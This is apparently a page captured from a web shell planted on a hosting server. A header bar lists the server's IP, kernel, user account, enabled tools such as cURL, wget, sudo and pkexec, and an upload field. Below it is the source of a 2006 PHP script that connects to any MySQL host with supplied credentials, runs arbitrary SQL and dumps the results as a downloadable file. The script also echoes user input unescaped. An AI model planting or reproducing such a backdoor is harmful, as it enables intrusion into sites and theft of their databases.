| Server IP : 208.122.213.31 / Your IP : 216.73.216.185 Web Server : Apache System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64 User : WHMCS_MIA_382 ( 1001) PHP Version : 7.4.33 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/httpd/html/www.busty-cafe.com/candy/ |
Upload File : |
<?php
/*
%
% by perx. 2006
%
*/
if(isset($_GET['source'])) {
highlight_file(substr($_SERVER['PHP_SELF'], 1));
die;
}
$user = isset($_POST['user']) ? $_POST['user'] : '';
$pass = isset($_POST['pass']) ? $_POST['pass'] : '';
$host = isset($_POST['host']) ? $_POST['host'] : 'localhost';
$sql = isset($_POST['sql']) ? stripslashes($_POST['sql']) : '';
$db = isset($_POST['db']) ? $_POST['db'] : '';
if(isset($_POST['submit']) && ($_POST['submit'] == 'download')) {
if(function_exists('mysql_connect')) {
if (count($_POST)) {
if (@mysql_connect($host, $user, $pass)) {
if(((!empty($db)) && (mysql_select_db($db))) || (empty($db))) {
if ($result = mysql_query($sql)) {
header('Content-type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$host.'_'.time().'.sql"');
while($i = mysql_fetch_row($result)) {
for($a = 0; $a < count($i); $a++) {
echo "$i[$a]\t";
}
echo "\n";
}
die;
}
}
}
}
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/2001/REC-xhtml11-20010531/DTD/xhtml11-flat.dtd">
<html xml:lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>sql query -- <?php echo $sql; ?></title>
<style type="text/css">
<!--
body
{
margin: 2%;
color: #000;
font: 12px verdana, sans-serif;
}
input
{
margin: 5px 5px 5px 0px;
padding: 5px;
border: 1px dotted #000;
}
div
{
padding: 2%;
}
table
{
margin: 2%;
padding: 2%;
background: #fafafa;
border-width: 1px 0px;
border-style: dotted;
}
-->
</style>
</head>
<!--
by perx. 2006
-->
<body>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<div style="float: left;">
<p>
<sup>user:</sup><br />
<input type="text" name="user" value="<?php echo $user; ?>" />
</p>
<p>
<sup>pass:</sup><br />
<input type="text" name="pass" value="<?php echo $pass; ?>" />
</p>
</div>
<div style="float: left;">
<p>
<sup>host:</sup><br />
<input type="text" name="host" value="<?php echo $host; ?>" />
</p>
<p>
<sup>db:</sup><br />
<input type="text" name="db" value="<?php echo $db; ?>" />
</p>
</div>
<div style="float: left;">
<p>
<sup>sql statement:</sup><br />
<input type="text" name="sql" value="<?php echo $sql; ?>" size="100" /><br />
<input type="submit" name="submit" value="download" />
<input type="submit" name="submit" value="show query" />
</p>
</div>
</form>
<div style="clear:left; border: 1px dotted #3a3a3a; margin: 2%;">
<?php
echo 'mysql extension loaded: ';
echo function_exists('mysql_connect') ? '<span style="color: green;">yes</span>' : die('<span style="color: red;">no</span>'); echo "<br />\n";
if (count($_POST)) {
echo 'connecting to server: ';
if (@mysql_connect($host, $user, $pass)) {
echo "<span style=\"color: green;\">done</span><br />\n";
if(!empty($db)) {
echo 'selecting database: ';
echo mysql_select_db($db) ? "<span style=\"color: green;\">done</span><br />\n" : die('<span style="color: red;">failed</span> <i>(' . strtolower(mysql_error()) . ')</i>');
}
echo 'sending sql statement: ';
if ($result = mysql_query($sql)) {
echo "<span style=\"color: green;\">done</span><br />\n";
echo "getting sql data...\n";
echo "<tt>\n";
echo "<table style=\"width: 25%\">\n";
echo "<tr>\n";
$num = mysql_num_fields($result);
for ($b = 0; $b < $num; $b++) {
echo "<td><i>".mysql_field_name($result, $b)."</i></td>";
}
echo "</tr>\n";
while($i = mysql_fetch_row($result)) {
echo "<tr>\n";
for($a = 0; $a < count($i); $a++) {
echo "<td>$i[$a]</td>";
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</tt>\n";
}
else {
die('<span style="color: red;">failed</span> <i>(' . strtolower(mysql_error()) . ')</i>');
}
}
else {
die('<span style="color: red;">failed</span> <i>(' . strtolower(mysql_error()) . ')</i>');
}
}
?>